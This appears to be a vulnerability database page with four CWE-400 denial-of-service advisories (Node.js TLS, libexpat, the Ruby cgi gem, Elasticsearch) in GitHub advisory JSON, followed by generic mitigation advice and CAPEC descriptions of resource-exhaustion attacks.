Vulnerability from github – Published: 2026-01-20 21:31 – Updated: 2026-01-20 21:31A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when pskCallback or ALPNCallback are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped.
{
"affected": [],
"aliases": [
"CVE-2026-21637"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-20T21:16:05Z",
"severity": "MODERATE"
},
"details": "A flaw in Node.js TLS error handling allows remote attackers to crash or exhaust resources of a TLS server when `pskCallback` or `ALPNCallback` are in use. Synchronous exceptions thrown during these callbacks bypass standard TLS error handling paths (tlsClientError and error), causing either immediate process termination or silent file descriptor leaks that eventually lead to denial of service. Because these callbacks process attacker-controlled input during the TLS handshake, a remote client can repeatedly trigger the issue. This vulnerability affects TLS servers using PSK or ALPN callbacks across Node.js versions where these callbacks throw without being safely wrapped.",
"id": "GHSA-ggxc-26fx-987r",
"modified": "2026-01-20T21:31:35Z",
"published": "2026-01-20T21:31:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21637"
},
{
"type": "WEB",
"url": "https://nodejs.org/en/blog/vulnerability/december-2025-security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GH68-JM46-84RF
Vulnerability from github – Published: 2024-02-04 21:30 – Updated: 2025-11-04 21:31libexpat through 2.5.0 allows a denial of service (resource consumption) because many full reparsings are required in the case of a large token for which multiple buffer fills are needed.
{
"affected": [],
"aliases": [
"CVE-2023-52425"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-04T20:15:46Z",
"severity": "HIGH"
},
"details": "libexpat through 2.5.0 allows a denial of service (resource consumption) because many full reparsings are required in the case of a large token for which multiple buffer fills are needed.",
"id": "GHSA-gh68-jm46-84rf",
"modified": "2025-11-04T21:31:05Z",
"published": "2024-02-04T21:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-52425"
},
{
"type": "WEB",
"url": "https://github.com/libexpat/libexpat/pull/789"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/04/msg00006.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2024/09/msg00036.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PNRIHC7DVVRAIWFRGV23Y6UZXFBXSQDB"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WNUBSGZFEZOBHJFTAD42SAN4ATW2VEMV"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PNRIHC7DVVRAIWFRGV23Y6UZXFBXSQDB"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20240614-0003"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2024/03/20/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GH9Q-2XRM-X6QV
Vulnerability from github – Published: 2025-03-03 20:53 – Updated: 2025-11-04 00:32There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem.
Details
CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service.
Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.
Affected versions
cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.
Credits
Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.5.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.3.6"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.3.6"
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "cgi"
},
"ranges": [
{
"events": [
{
"introduced": "0.4.0"
},
{
"fixed": "0.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-27219"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2025-03-03T20:53:43Z",
"nvd_published_at": "2025-03-04T00:15:31Z",
"severity": "MODERATE"
},
"details": "There is a possibility for DoS by in the cgi gem.\nThis vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem.\n\n## Details\n\nCGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service.\n\nPlease update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later.\n\n## Affected versions\n\ncgi gem versions \u003c= 0.3.5, 0.3.6, 0.4.0 and 0.4.1.\n\n## Credits\n\nThanks to lio346 for discovering this issue.\nAlso thanks to mame for fixing this vulnerability.",
"id": "GHSA-gh9q-2xrm-x6qv",
"modified": "2025-11-04T00:32:21Z",
"published": "2025-03-03T20:53:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27219"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/52"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/53"
},
{
"type": "WEB",
"url": "https://github.com/ruby/cgi/pull/54"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/2936778"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/cgi"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/cgi/CVE-2025-27219.yml"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00008.html"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-27219"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "CGI has Denial of Service (DoS) potential in Cookie.parse"
}
GHSA-GHFH-P92W-J4MG
Vulnerability from github – Published: 2025-04-08 18:34 – Updated: 2025-05-27 17:48A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash.
A successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.elasticsearch:elasticsearch"
},
"ranges": [
{
"events": [
{
"introduced": "7.17.0"
},
{
"fixed": "8.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-52980"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-09T13:02:50Z",
"nvd_published_at": "2025-04-08T17:15:34Z",
"severity": "MODERATE"
},
"details": "A flaw was discovered in Elasticsearch, where a large recursion using the innerForbidCircularReferences function of the PatternBank class could cause the Elasticsearch node to crash.\n\nA successful attack requires a malicious user to have read_pipeline Elasticsearch cluster privilege assigned to them.",
"id": "GHSA-ghfh-p92w-j4mg",
"modified": "2025-05-27T17:48:19Z",
"published": "2025-04-08T18:34:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52980"
},
{
"type": "WEB",
"url": "https://github.com/elastic/elasticsearch/commit/4e5c6801f4d60f100f122072f6bf35b21fd722a5"
},
{
"type": "WEB",
"url": "https://github.com/elastic/elasticsearch/commit/a02dc7165c75f12701f8d47a2bdefe5283735267"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elasticsearch-8-15-1-security-update-esa-2024-34/376919"
},
{
"type": "PACKAGE",
"url": "https://github.com/elastic/elasticsearch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Elasticsearch Potential Node Crash due to Large Recursion in `innerForbidCircularReferences` Function"
}
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, or
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation
Ensure that all failures in resource allocation place the system into a safe posture.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-227: Sustained Client Engagement
An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.
CAPEC-492: Regular Expression Exponential Blowup
An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.